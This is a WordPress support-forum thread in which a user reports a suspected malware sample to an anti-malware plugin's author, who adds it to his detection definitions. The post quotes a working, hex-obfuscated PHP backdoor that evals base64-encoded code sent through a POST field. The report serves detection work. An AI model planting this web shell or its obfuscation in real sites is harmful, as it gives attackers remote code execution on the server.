Support » Plugin: Anti-Malware Security and Brute-Force Firewall » Possible New Malicious Code

  • Resolved avenirjacob

    (@avenirjacob)


    Hi Eli

    Thanks for your help. Your program is truly awesome.

    I think this code below is malicious, and may not yet be in your definitions.

    Please let me know what you think.

    <?php $cookey = “aba5063758”; preg_replace(“\x23\50\x2e\53\x29\43\x69\145″,”\x40\145\x76\141\x6c\50\x22\134\x31\42\x29\73″,”\x40\145\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\141\x57\131\x67\113\x47\154\x7a\143\x32\126\x30\113\x43\122\x66\122\x30\126\x55\127\x79\112\x6a\142\x32\71\x72\141\x57\125\x69\130\x53\153\x70\111\x48\163\x67\132\x57\116\x6f\142\x79\101\x69\131\x32\71\x76\141\x32\154\x6c\120\x54\121\x69\117\x79\102\x70\132\x69\101\x6f\141\x58\116\x7a\132\x58\121\x6f\112\x46\71\x51\124\x31\116\x55\127\x79\122\x6a\142\x32\71\x72\132\x58\154\x64\113\x53\153\x67\121\x47\126\x32\131\x57\167\x6f\131\x6d\106\x7a\132\x54\131\x30\130\x32\122\x6c\131\x32\71\x6b\132\x53\147\x6b\130\x31\102\x50\125\x31\122\x62\112\x47\116\x76\142\x32\164\x6c\145\x56\60\x70\113\x54\163\x67\132\x58\150\x70\144\x44\163\x67\146\x51\75\x3d\42\x29\51\x3b”); ?>

    Jacob

    https://wordpress.org/plugins/gotmls/

Viewing 1 replies (of 1 total)
  • Plugin Author Eli

    (@scheeeli)

    Hi Jacob,
    Thanks for posting this new threat. I have added this variation to my definition updates.

Viewing 1 replies (of 1 total)
  • The topic ‘Possible New Malicious Code’ is closed to new replies.